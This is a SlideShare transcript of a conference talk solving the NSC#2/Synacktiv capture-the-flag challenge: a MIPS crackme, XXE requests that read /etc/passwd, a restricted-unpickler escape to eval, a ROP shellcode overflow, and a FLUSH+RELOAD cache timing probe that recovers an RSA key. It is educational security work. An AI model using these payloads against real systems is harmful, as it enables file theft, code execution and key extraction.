SlideShare a Scribd company logo
NSC#2 / Synacktiv challenge
Who am I
● Fabien Perigaud (@0xf4b)
● Reverse engineer at Airbus Defence and Space
● Challenges addict :)
NSC#2 challenge
● 3 parts
– MIPS crackme
– Web / Python exploitation
– X64 / Crypto exploitation
MIPS crackme
$ file crackmips
crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically linked
(uses shared libs), for GNU/Linux 2.6.26,
BuildID[sha1]=be26414a4b6e7af7098c07a6646a5c658e1440e7, not stripped
●
Runs in Qemu
● MIPS Debian images available (Aurel32)
root@debian-mipsel:~# ./crackmips
usage: ./crackmips password
root@debian-mipsel:~# ./crackmips test
WRONG PASSWORD
In IDA
● Ugly big block
● Quite simple global
behaviour
In IDA (2)
Parent: debug()
● Waits for a child break
● Get $pc value (ptrace(...))
● Big block (again!) to compute new $pc
● Replace $pc in child's context
=> Operations on $pc independent from the
password
Parent: debug() (2)
● Simple GDB script can recover all modified $pc values
b *0x400B90
commands
p/x $v0
cont
end
b *0x401D88
commands
p/x $v0
cont
end
Child: big ugly block
● Operates on DWORD of the password (loop on 6
DWORD)
● Can be divided in ~100 small blocks
– Separated by “break 0” instructions
● Each small block is a simple operation
– Only ~10 different ones (NOT/ADD/SUB/ROR/ROL/XOR
with immediate values or a counter)
– Pattern matching on instructions to transform big block
in a set of basic operations
Big block transformation
$ python transform.py extract_ida.txt
[...]
.text:00402290: SUB CNT
.text:004022C0: ROR 1
.text:0040230C: SUB CNT
.text:0040233C: XOR 0x7B4DE789
.text:00402370: ADD 0x87DD2BC5
.text:004023A4: ROR 12
.text:004023F0: ADD CNT
.text:00402420: XOR CNT
.text:00402450: ROL 13
.text:0040249C: NOT
[...]
Putting all together
● New execution path + basic operations on
password
● We can now invert the algorithm from the string
"[ Synacktiv + NSC = <3 ]"
Part1 done
$ python resolve_part1.py
322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
# ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
good job!
Next level is there:
http://nsc2014.synacktiv.com:65480/oob4giekee4zaeW9/
Web Exploitation
Web exploitation (2)
● Try to post a message
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<msg>MSG_TEST</msg>
=> Smells like XML ! XXE anyone ?
XXE !
● Let's try …
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///etc/passwd">]><msg>&z;</msg>
XXE ! (2)
● Dir listing ?
POST /msg.add HTTP/1.1
Host: nsc2014.synacktiv.com:65480
[...]
vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM
"file:///">]><msg>&z;</msg>
XXE ! (3)
● Just retrieve the two files
$ cat app.conf
[global]
you_know_how_to_play_with_xxe = 1
admin_url = /secret.key
[viewstate]
key = ab2f8913c6fde13596c09743a802ff7a
$ file viewstate.pyc
viewstate.pyc: python 2.7 byte-compiled
/secret.key ?
● viewstate.pyc → uncompyle2 → viewstate.py
● Code responsible for the /secret.key request
ADMIN_HOSTS = frozenset(['127.0.0.1', '::1', '10.0.1.200'])
@staticmethod
def getMasterSecretKey(req, vs_data = None):
assert isinstance(req, EZWebRequest)
vs = App._load_session(vs_data)
if vs.data.get('uid', -1) != 31337:
raise SecurityError('not allowed from this uid')
if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS:
raise SecurityError('not allowed from this IP address')
return (vs, SecretStore.getMasterKey())
vs
● Serialized dictionary → compressed (zlib) →
ciphered (AES) → encoded (base64)
● Key provided by app.conf
● Unserialization done by a custom Unpickler
(restricted __reduce__() functions list)
SAFE_BUILTINS = frozenset(['bool', 'chr', 'dict', 'float',
'getattr', 'int', 'list', 'locals', 'long', 'max', 'min', 'repr',
'set', 'setattr', 'str', 'sum', 'tuple', 'type', 'unicode'])
Python exploitation
● Goal: add eval to the SAFE_BUILTINS set
● Steps:
– Create new set → we've access to set()
– Retrieve “self” → next slide :)
– setattr(self, “SAFE_BUILTINS”, new_set) → we've
access to setattr()
– PROFIT §§§ → next next slide
Python exploitation (2)
● locals() returns a dict containing “self”
● getattr() does not allow to retrieve a dict
element
● type(“x”, (), mydict) allows to create a new
object with mydict as __dict__
● “self” retrieved with :
getattr(type("obj42", (), locals()), "self")
Python exploitation (3)
● Secret key should be in the getMasterKey()
function constants
eval(__import__('viewstate').SecretStore.getMas
terKey.func_code.co_consts)
● Final vs
vs = {'msg': [{'body': SETATTR(), 'title': EVAL()}],
'display_name': 'guest'}
Part2 done
… "messages": [{"body": null, "title": [null, 124,
"getMasterKey() caller not authorized (opcode %i/%i)",
"viewstate.py", "getMasterKey() caller not authorized",
"getMasterSecretKey", "getMasterKey() caller not authorized
(function %s/%s)",
"master_key=http://nsc2014.synacktiv.com:65480/OhXieK1hEiza
hk2i/securedrop.tar.gz"]} ...
SecureDrop
$ tar tvzf securedrop.tar.gz
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/client/
● -rw-r--r-- efiliol/ANSSI 2002 2014-08-28 12:23 securedrop/client/client.py
● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/archive/
● -rw-r--r-- efiliol/ANSSI 803 2014-09-01 17:06 securedrop/archive/messages
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 19:06 securedrop/servers/
● -rwxr-xr-x efiliol/ANSSI 9600 2014-08-27 18:43 securedrop/servers/SecDrop
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:34 securedrop/servers/xinetd.conf/
● -rw-r--r-- efiliol/ANSSI 466 2014-08-27 14:34 securedrop/servers/xinetd.conf/secdrop
● -rw-r--r-- efiliol/ANSSI 449 2014-08-27 14:34 securedrop/servers/xinetd.conf/stpm
● -rwxr-xr-x efiliol/ANSSI 14728 2014-08-27 18:43 securedrop/servers/STPM
● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:35 securedrop/lib/
● -rwxr-xr-x efiliol/ANSSI 35648 2014-08-27 18:43 securedrop/lib/libsec.so
Global architecture
client.py SecDrop STPM
Client side Server side
Client.py
● Asks a message
● Generates random AES key
● Ciphers message (AES)
● Ciphers AES key (RSA)
● Send ciphered message + ciphered key (+ a
constant password to authenticate with the
service): separation with a 'n'
SecDrop
● Handles client.py connections / requests
● Asks STPM to decrypt the message
● If decryption is correct, save the ciphered
message/key to “messages” file
STPM
● Stores secret keys (AES / RSA)
– Can import new keys
● Handles 4 commands :
– import_key
– export_key
– print_keys
– message_decrypt
libsec.so
● Loaded by both SecDrop and STPM
● Various cryptographic functions :
– AES-OCB3 (encrypt/decrypt messages):
SEC_crypt(), SEC_decrypt()
– RSA (import/export AES key): key_wrap(),
key_unwrap()
● Printing functions: SEC_fprintf(),
SEC_fprintf_keys(), SEC_fgetc()
And now ?
● Goal is to decrypt “messages” file
● Need to get RSA private key OR decrypted
AES key
● Let's have a look at SecDrop
SecDrop Vulnerability
● Trivial stack buffer overflow in client messages handling
● Seccomp with custom rules (only access to read(),
write() and exit())
● No NX on this binary (took me a few days …)
● Performed some ROP to put an arbitrary shellcode in a
known location and jmp on it
– Didn't see the “jmp rsp” in the code …
● Now what ?
Now what ?
client.py SecDrop STPM
Client side Server side
We're here
Now what ?
● Try to call the list_keys() function in STPM
● Returns:
– AES key: k = SECRET :)
– RSA key: q = PRIVATE :)
● Function only allows printing public part of the RSA key :(
21:17 <Baboon> :D
21:17 <Baboon> tu croyais quoi
21:18 <Baboon> tu vas en chier :P
Now hints !
● Spent some days trying to find a “classical”
vulnerability in STPM…
● Hints published by Synacktiv
Hints decoding
● “RDTSC”: timing attack
● “Attack the cache”: timing attack on the CPU
cache
● Looking for papers …
– “FLUSH+RELOAD: a High Resolution, Low Noise, L3
Cache Side-Channel Attack” → attack on CPU cache
to retrieve a RSA key when a naive implementation is
used
Attack!
● Determine the execution path taken by the process
● We'll attack the square and multiply
accum = 1; i = 0; bpow2 = m
while ((d>>i)>0):
if((d>>i) & 1):
accum = (accum*bpow2) % n # multiply
bpow2 = (bpow2*bpow2) % n # square
i+=1
return accum
This part is taken
if the current bit is 1
Processor cache
● CPU wants to execute code at address X
– Check if data is in cache
– If not, load it from memory then cache it
● Is data in cache?
– Just measure the time taken to access it!
● From another process??
– Yes! Shared pages FTW
Shared pages
SecDrop STPM
Physical memory
libsec.so
- Both processes access the same memory page
- If STPM executes address X, the data is put in cache
- If SecDrop then accesses address X, it will be retrieved from
the cache
Attack! (2)
● How to know if code at @X has been executed by
STPM ?
– Measure time to access @X form SecDrop
● Slow → not in cache → not executed
● Fast → in cache → has been executed !
– Flush the cache!
– Sleep ; goto start ;
● Allows to know when a specific part of the code has
been executed across time
– Reveals bits of the key!
Attack! (3)
● Empirically determine two values:
– Sleep time between measures
– Threshold to determine if data is in cache
● Final exploit:
– Ask decryption of key
– Do N measures (one measure stored on 1 bit)
– Retrieve measures
Measurement example
probe:
mfence
lfence
rdtsc
mov esi, eax
mov eax, DWORD [rdi]
lfence
rdtsc
sub eax, esi
mov esi, eax
xor rax, rax
clflush [rdi]
cmp esi, 0xc0
jge probend
mov rax, 1
probend:
retn
Retrieve the key from the bits
● Some statistical analysis and black magic
– Assume square() and multiply() take the same
amount of time
– X 1's followed by X 0's → bit 1
– X 0's only not preceded by 1's → bit 0
● We can see the bits in an hexdump!
GET THE KEY §§§
1
11
00
000
Avoid measurement errors
● Repeat the operation 100 times
● Take the best candidate
– One key is found 70 times on 100
– Other ones only differ by a few bits… exploit in not
perfect :)
● Final key found is 1374 bits
– And does not work to decrypt the AES key :(
Lack of bits
● We may have failed getting some bits ?
– N modulus is 1380 bits
● Bruteforce at most 6 bits of the key !
– Good key found in seconds
Final run
● Decrypt AES key contained in “messages” file
using the retrieved key
● Decrypt the message using AES key
$ python final_p3.py
Good job!
Send the secret 3fcba5e1dbb21b86c31c8ae490819ab6 to
82d6e1a04a8ca30082e81ad27dec7cb4@synacktiv.com.
Also, don't forget to send us your solution within 10 days.
Synacktiv team
Thanks !
● For your attention
● To NSC staff for this presentation
● To Synacktiv for their crazy challenge

More Related Content

PPTX
OWASP AppSecCali 2015 - Marshalling Pickles
PDF
Hacking the Gateways
PDF
Laura Garcia - Shodan API and Coding Skills [rooted2019]
PDF
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
PDF
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
PDF
How to Root 10 Million Phones with One Exploit
PDF
"A rootkits writer’s guide to defense" - Michal Purzynski
PPTX
[CB16] The ARMs race for kernel protection by Jonathan Levin
OWASP AppSecCali 2015 - Marshalling Pickles
Hacking the Gateways
Laura Garcia - Shodan API and Coding Skills [rooted2019]
Sheila Ayelen Berta - The Art of Persistence: "Mr. Windows… I don’t wanna go ...
"Revenge of The Script Kiddies: Current Day Uses of Automated Scripts by Top ...
How to Root 10 Million Phones with One Exploit
"A rootkits writer’s guide to defense" - Michal Purzynski
[CB16] The ARMs race for kernel protection by Jonathan Levin

What's hot (20)

PDF
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
PDF
Simplest-Ownage-Human-Observed… - Routers
PPTX
Cisco IOS shellcode: All-in-one
PDF
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
ODP
Joxean Koret - Database Security Paradise [Rooted CON 2011]
PDF
Automated Malware Analysis and Cyber Security Intelligence
PPT
OWASP Much ado about randomness
PDF
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
PDF
Масштабируемый и эффективный фаззинг Google Chrome
PDF
CONFidence 2018: Darknet traffic - what can we learn from nooks and crannies ...
PDF
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
PPTX
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
PPTX
Эксплуатируем неэксплуатируемые уязвимости SAP
PDF
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
PDF
Threat stack aws
PDF
Python Cryptography & Security
PPTX
Secure coding for developers
PPTX
Memory Corruption: from sandbox to SMM
PDF
The day I ruled the world (RootedCON 2020)
PDF
Introduction httpClient on Java11 / Java11時代のHTTPアクセス再入門
IstSec'14 - İbrahim BALİÇ - Automated Malware Analysis
Simplest-Ownage-Human-Observed… - Routers
Cisco IOS shellcode: All-in-one
Ricardo J. Rodríguez & Daniel Uroz - When ROP meets Turing: Automatic Generat...
Joxean Koret - Database Security Paradise [Rooted CON 2011]
Automated Malware Analysis and Cyber Security Intelligence
OWASP Much ado about randomness
"Into the Fog The Return of ICEFOG APT" - Chi en (Ashley) Shen
Масштабируемый и эффективный фаззинг Google Chrome
CONFidence 2018: Darknet traffic - what can we learn from nooks and crannies ...
Если нашлась одна ошибка — есть и другие. Один способ выявить «наследуемые» у...
Rooted2020 roapt evil-mass_storage_-_tu-ya_aqui_-_david_reguera_-_abel_valero
Эксплуатируем неэксплуатируемые уязвимости SAP
Sergi Álvarez + Roi Martín - radare2: From forensics to bindiffing [RootedCON...
Threat stack aws
Python Cryptography & Security
Secure coding for developers
Memory Corruption: from sandbox to SMM
The day I ruled the world (RootedCON 2020)
Introduction httpClient on Java11 / Java11時代のHTTPアクセス再入門
Ad

Viewers also liked (16)

PDF
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
PDF
NSC #2 - D2 06 - Richard Johnson - SAGEly Advice
PDF
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
PDF
NSC #2 - Challenge Introduction
PDF
NSC #2 - D2 01 - Andrea Allievi - Windows 8.1 Patch Protections
PDF
NSC #2 - D1 03 - Sébastien Dudek - HomePlugAV PLC
PDF
NSC #2 - D3 04 - Guillaume Valadon & Nicolas Vivet - Detecting BGP hijacks
PDF
NSC #2 - D1 02 - Georgi Geshev - Your Q is my Q
PDF
NSC #2 - D3 01 - Thomas Braden - Exploitation of hardened MSP430-based device
PDF
NSC #2 - D1 01 - Rolf Rolles - Program synthesis in reverse engineering
PDF
NSC #2 - D3 05 - Alex Ionescu- Breaking Protected Processes
PDF
NSC #2 - D2 05 - Andrea Barisani - Forging the USB Armory
PDF
NSC #2 - D3 03 - Jean-Philippe Aumasson - Cryptographic Backdooring
PDF
NSC #2 - D2 04 - Ezequiel Gutesman - Blended Web and Database Attacks
PDF
NSC #2 - D2 03 - Nicolas Collignon - Google Apps Engine Security
PDF
NSC #2 - D1 05 - Renaud Lifchitz - Quantum computing in practice
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 06 - Richard Johnson - SAGEly Advice
NSC #2 - D3 02 - Peter Hlavaty - Attack on the Core
NSC #2 - Challenge Introduction
NSC #2 - D2 01 - Andrea Allievi - Windows 8.1 Patch Protections
NSC #2 - D1 03 - Sébastien Dudek - HomePlugAV PLC
NSC #2 - D3 04 - Guillaume Valadon & Nicolas Vivet - Detecting BGP hijacks
NSC #2 - D1 02 - Georgi Geshev - Your Q is my Q
NSC #2 - D3 01 - Thomas Braden - Exploitation of hardened MSP430-based device
NSC #2 - D1 01 - Rolf Rolles - Program synthesis in reverse engineering
NSC #2 - D3 05 - Alex Ionescu- Breaking Protected Processes
NSC #2 - D2 05 - Andrea Barisani - Forging the USB Armory
NSC #2 - D3 03 - Jean-Philippe Aumasson - Cryptographic Backdooring
NSC #2 - D2 04 - Ezequiel Gutesman - Blended Web and Database Attacks
NSC #2 - D2 03 - Nicolas Collignon - Google Apps Engine Security
NSC #2 - D1 05 - Renaud Lifchitz - Quantum computing in practice
Ad

Similar to NSC #2 - Challenge Solution (20)

PDF
44CON 2014 - Switches Get Stitches, Eireann Leverett & Matt Erasmus
PPTX
hacking-embedded-devices.pptx
PPTX
Don't Pick the lock
PPTX
Offensive Python for Pentesting
PDF
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
PDF
Project Basecamp: News From Camp 4
PDF
Attack All the Layers - What's Working in Penetration Testing
PDF
Attack All the Layers: What's Working during Pentests (OWASP NYC)
PDF
Attack All The Layers - What's Working in Penetration Testing
PPTX
Advanced SOHO Router Exploitation XCON
PDF
Computer Security
PPTX
Secure360 - Attack All the Layers! Again!
PDF
Filip palian mateuszkocielski. simplest ownage human observed… routers
PPTX
Secure Coding 101 - OWASP University of Ottawa Workshop
PDF
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
PDF
פתרון חידת המוסד
PPT
Intro To Hacking
PDF
Dssh @ Confidence, Prague 2010
PDF
State of the ATTACK
PDF
RIoT (Raiding Internet of Things) by Jacob Holcomb
44CON 2014 - Switches Get Stitches, Eireann Leverett & Matt Erasmus
hacking-embedded-devices.pptx
Don't Pick the lock
Offensive Python for Pentesting
[Ruxcon Monthly Sydney 2011] Proprietary Protocols Reverse Engineering : Rese...
Project Basecamp: News From Camp 4
Attack All the Layers - What's Working in Penetration Testing
Attack All the Layers: What's Working during Pentests (OWASP NYC)
Attack All The Layers - What's Working in Penetration Testing
Advanced SOHO Router Exploitation XCON
Computer Security
Secure360 - Attack All the Layers! Again!
Filip palian mateuszkocielski. simplest ownage human observed… routers
Secure Coding 101 - OWASP University of Ottawa Workshop
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
פתרון חידת המוסד
Intro To Hacking
Dssh @ Confidence, Prague 2010
State of the ATTACK
RIoT (Raiding Internet of Things) by Jacob Holcomb

Recently uploaded (20)

PPTX
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
PPTX
Digital-Transformation-Roadmap-for-Companies.pptx
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Network Security Unit 5.pdf for BCA BBA.
PDF
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
PDF
KodekX | Application Modernization Development
PDF
Reach Out and Touch Someone: Haptics and Empathic Computing
PDF
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
PPTX
20250228 LYD VKU AI Blended-Learning.pptx
PPTX
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
PDF
Empathic Computing: Creating Shared Understanding
PPTX
sap open course for s4hana steps from ECC to s4
PPT
Teaching material agriculture food technology
PDF
cuic standard and advanced reporting.pdf
PDF
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
PPTX
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
PDF
Advanced methodologies resolving dimensionality complications for autism neur...
PDF
Review of recent advances in non-invasive hemoglobin estimation
PDF
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
PPTX
Spectroscopy.pptx food analysis technology
Detection-First SIEM: Rule Types, Dashboards, and Threat-Informed Strategy
Digital-Transformation-Roadmap-for-Companies.pptx
Unlocking AI with Model Context Protocol (MCP)
Network Security Unit 5.pdf for BCA BBA.
Build a system with the filesystem maintained by OSTree @ COSCUP 2025
KodekX | Application Modernization Development
Reach Out and Touch Someone: Haptics and Empathic Computing
Blue Purple Modern Animated Computer Science Presentation.pdf.pdf
20250228 LYD VKU AI Blended-Learning.pptx
VMware vSphere Foundation How to Sell Presentation-Ver1.4-2-14-2024.pptx
Empathic Computing: Creating Shared Understanding
sap open course for s4hana steps from ECC to s4
Teaching material agriculture food technology
cuic standard and advanced reporting.pdf
Optimiser vos workloads AI/ML sur Amazon EC2 et AWS Graviton
Effective Security Operations Center (SOC) A Modern, Strategic, and Threat-In...
Advanced methodologies resolving dimensionality complications for autism neur...
Review of recent advances in non-invasive hemoglobin estimation
How UI/UX Design Impacts User Retention in Mobile Apps.pdf
Spectroscopy.pptx food analysis technology

NSC #2 - Challenge Solution

  • 1. NSC#2 / Synacktiv challenge
  • 2. Who am I ● Fabien Perigaud (@0xf4b) ● Reverse engineer at Airbus Defence and Space ● Challenges addict :)
  • 3. NSC#2 challenge ● 3 parts – MIPS crackme – Web / Python exploitation – X64 / Crypto exploitation
  • 4. MIPS crackme $ file crackmips crackmips: ELF 32-bit LSB executable, MIPS, MIPS-II version 1, dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=be26414a4b6e7af7098c07a6646a5c658e1440e7, not stripped ● Runs in Qemu ● MIPS Debian images available (Aurel32) root@debian-mipsel:~# ./crackmips usage: ./crackmips password root@debian-mipsel:~# ./crackmips test WRONG PASSWORD
  • 5. In IDA ● Ugly big block ● Quite simple global behaviour
  • 7. Parent: debug() ● Waits for a child break ● Get $pc value (ptrace(...)) ● Big block (again!) to compute new $pc ● Replace $pc in child's context => Operations on $pc independent from the password
  • 8. Parent: debug() (2) ● Simple GDB script can recover all modified $pc values b *0x400B90 commands p/x $v0 cont end b *0x401D88 commands p/x $v0 cont end
  • 9. Child: big ugly block ● Operates on DWORD of the password (loop on 6 DWORD) ● Can be divided in ~100 small blocks – Separated by “break 0” instructions ● Each small block is a simple operation – Only ~10 different ones (NOT/ADD/SUB/ROR/ROL/XOR with immediate values or a counter) – Pattern matching on instructions to transform big block in a set of basic operations
  • 10. Big block transformation $ python transform.py extract_ida.txt [...] .text:00402290: SUB CNT .text:004022C0: ROR 1 .text:0040230C: SUB CNT .text:0040233C: XOR 0x7B4DE789 .text:00402370: ADD 0x87DD2BC5 .text:004023A4: ROR 12 .text:004023F0: ADD CNT .text:00402420: XOR CNT .text:00402450: ROL 13 .text:0040249C: NOT [...]
  • 11. Putting all together ● New execution path + basic operations on password ● We can now invert the algorithm from the string "[ Synacktiv + NSC = <3 ]"
  • 12. Part1 done $ python resolve_part1.py 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC # ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC good job! Next level is there: http://nsc2014.synacktiv.com:65480/oob4giekee4zaeW9/
  • 14. Web exploitation (2) ● Try to post a message POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<msg>MSG_TEST</msg> => Smells like XML ! XXE anyone ?
  • 15. XXE ! ● Let's try … POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM "file:///etc/passwd">]><msg>&z;</msg>
  • 16. XXE ! (2) ● Dir listing ? POST /msg.add HTTP/1.1 Host: nsc2014.synacktiv.com:65480 [...] vs=&title=TITLE_TEST&body=<!DOCTYPE foo [<!ENTITY z SYSTEM "file:///">]><msg>&z;</msg>
  • 17. XXE ! (3) ● Just retrieve the two files $ cat app.conf [global] you_know_how_to_play_with_xxe = 1 admin_url = /secret.key [viewstate] key = ab2f8913c6fde13596c09743a802ff7a $ file viewstate.pyc viewstate.pyc: python 2.7 byte-compiled
  • 18. /secret.key ? ● viewstate.pyc → uncompyle2 → viewstate.py ● Code responsible for the /secret.key request ADMIN_HOSTS = frozenset(['127.0.0.1', '::1', '10.0.1.200']) @staticmethod def getMasterSecretKey(req, vs_data = None): assert isinstance(req, EZWebRequest) vs = App._load_session(vs_data) if vs.data.get('uid', -1) != 31337: raise SecurityError('not allowed from this uid') if req.env['REMOTE_ADDR'] not in App.ADMIN_HOSTS: raise SecurityError('not allowed from this IP address') return (vs, SecretStore.getMasterKey())
  • 19. vs ● Serialized dictionary → compressed (zlib) → ciphered (AES) → encoded (base64) ● Key provided by app.conf ● Unserialization done by a custom Unpickler (restricted __reduce__() functions list) SAFE_BUILTINS = frozenset(['bool', 'chr', 'dict', 'float', 'getattr', 'int', 'list', 'locals', 'long', 'max', 'min', 'repr', 'set', 'setattr', 'str', 'sum', 'tuple', 'type', 'unicode'])
  • 20. Python exploitation ● Goal: add eval to the SAFE_BUILTINS set ● Steps: – Create new set → we've access to set() – Retrieve “self” → next slide :) – setattr(self, “SAFE_BUILTINS”, new_set) → we've access to setattr() – PROFIT §§§ → next next slide
  • 21. Python exploitation (2) ● locals() returns a dict containing “self” ● getattr() does not allow to retrieve a dict element ● type(“x”, (), mydict) allows to create a new object with mydict as __dict__ ● “self” retrieved with : getattr(type("obj42", (), locals()), "self")
  • 22. Python exploitation (3) ● Secret key should be in the getMasterKey() function constants eval(__import__('viewstate').SecretStore.getMas terKey.func_code.co_consts) ● Final vs vs = {'msg': [{'body': SETATTR(), 'title': EVAL()}], 'display_name': 'guest'}
  • 23. Part2 done … "messages": [{"body": null, "title": [null, 124, "getMasterKey() caller not authorized (opcode %i/%i)", "viewstate.py", "getMasterKey() caller not authorized", "getMasterSecretKey", "getMasterKey() caller not authorized (function %s/%s)", "master_key=http://nsc2014.synacktiv.com:65480/OhXieK1hEiza hk2i/securedrop.tar.gz"]} ...
  • 24. SecureDrop $ tar tvzf securedrop.tar.gz ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/ ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/client/ ● -rw-r--r-- efiliol/ANSSI 2002 2014-08-28 12:23 securedrop/client/client.py ● drwxr-xr-x efiliol/ANSSI 0 2014-09-01 17:06 securedrop/archive/ ● -rw-r--r-- efiliol/ANSSI 803 2014-09-01 17:06 securedrop/archive/messages ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 19:06 securedrop/servers/ ● -rwxr-xr-x efiliol/ANSSI 9600 2014-08-27 18:43 securedrop/servers/SecDrop ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:34 securedrop/servers/xinetd.conf/ ● -rw-r--r-- efiliol/ANSSI 466 2014-08-27 14:34 securedrop/servers/xinetd.conf/secdrop ● -rw-r--r-- efiliol/ANSSI 449 2014-08-27 14:34 securedrop/servers/xinetd.conf/stpm ● -rwxr-xr-x efiliol/ANSSI 14728 2014-08-27 18:43 securedrop/servers/STPM ● drwxr-xr-x efiliol/ANSSI 0 2014-08-27 14:35 securedrop/lib/ ● -rwxr-xr-x efiliol/ANSSI 35648 2014-08-27 18:43 securedrop/lib/libsec.so
  • 25. Global architecture client.py SecDrop STPM Client side Server side
  • 26. Client.py ● Asks a message ● Generates random AES key ● Ciphers message (AES) ● Ciphers AES key (RSA) ● Send ciphered message + ciphered key (+ a constant password to authenticate with the service): separation with a 'n'
  • 27. SecDrop ● Handles client.py connections / requests ● Asks STPM to decrypt the message ● If decryption is correct, save the ciphered message/key to “messages” file
  • 28. STPM ● Stores secret keys (AES / RSA) – Can import new keys ● Handles 4 commands : – import_key – export_key – print_keys – message_decrypt
  • 29. libsec.so ● Loaded by both SecDrop and STPM ● Various cryptographic functions : – AES-OCB3 (encrypt/decrypt messages): SEC_crypt(), SEC_decrypt() – RSA (import/export AES key): key_wrap(), key_unwrap() ● Printing functions: SEC_fprintf(), SEC_fprintf_keys(), SEC_fgetc()
  • 30. And now ? ● Goal is to decrypt “messages” file ● Need to get RSA private key OR decrypted AES key ● Let's have a look at SecDrop
  • 31. SecDrop Vulnerability ● Trivial stack buffer overflow in client messages handling ● Seccomp with custom rules (only access to read(), write() and exit()) ● No NX on this binary (took me a few days …) ● Performed some ROP to put an arbitrary shellcode in a known location and jmp on it – Didn't see the “jmp rsp” in the code … ● Now what ?
  • 32. Now what ? client.py SecDrop STPM Client side Server side We're here
  • 33. Now what ? ● Try to call the list_keys() function in STPM ● Returns: – AES key: k = SECRET :) – RSA key: q = PRIVATE :) ● Function only allows printing public part of the RSA key :( 21:17 <Baboon> :D 21:17 <Baboon> tu croyais quoi 21:18 <Baboon> tu vas en chier :P
  • 34. Now hints ! ● Spent some days trying to find a “classical” vulnerability in STPM… ● Hints published by Synacktiv
  • 35. Hints decoding ● “RDTSC”: timing attack ● “Attack the cache”: timing attack on the CPU cache ● Looking for papers … – “FLUSH+RELOAD: a High Resolution, Low Noise, L3 Cache Side-Channel Attack” → attack on CPU cache to retrieve a RSA key when a naive implementation is used
  • 36. Attack! ● Determine the execution path taken by the process ● We'll attack the square and multiply accum = 1; i = 0; bpow2 = m while ((d>>i)>0): if((d>>i) & 1): accum = (accum*bpow2) % n # multiply bpow2 = (bpow2*bpow2) % n # square i+=1 return accum This part is taken if the current bit is 1
  • 37. Processor cache ● CPU wants to execute code at address X – Check if data is in cache – If not, load it from memory then cache it ● Is data in cache? – Just measure the time taken to access it! ● From another process?? – Yes! Shared pages FTW
  • 38. Shared pages SecDrop STPM Physical memory libsec.so - Both processes access the same memory page - If STPM executes address X, the data is put in cache - If SecDrop then accesses address X, it will be retrieved from the cache
  • 39. Attack! (2) ● How to know if code at @X has been executed by STPM ? – Measure time to access @X form SecDrop ● Slow → not in cache → not executed ● Fast → in cache → has been executed ! – Flush the cache! – Sleep ; goto start ; ● Allows to know when a specific part of the code has been executed across time – Reveals bits of the key!
  • 40. Attack! (3) ● Empirically determine two values: – Sleep time between measures – Threshold to determine if data is in cache ● Final exploit: – Ask decryption of key – Do N measures (one measure stored on 1 bit) – Retrieve measures
  • 41. Measurement example probe: mfence lfence rdtsc mov esi, eax mov eax, DWORD [rdi] lfence rdtsc sub eax, esi mov esi, eax xor rax, rax clflush [rdi] cmp esi, 0xc0 jge probend mov rax, 1 probend: retn
  • 42. Retrieve the key from the bits ● Some statistical analysis and black magic – Assume square() and multiply() take the same amount of time – X 1's followed by X 0's → bit 1 – X 0's only not preceded by 1's → bit 0 ● We can see the bits in an hexdump!
  • 43. GET THE KEY §§§ 1 11 00 000
  • 44. Avoid measurement errors ● Repeat the operation 100 times ● Take the best candidate – One key is found 70 times on 100 – Other ones only differ by a few bits… exploit in not perfect :) ● Final key found is 1374 bits – And does not work to decrypt the AES key :(
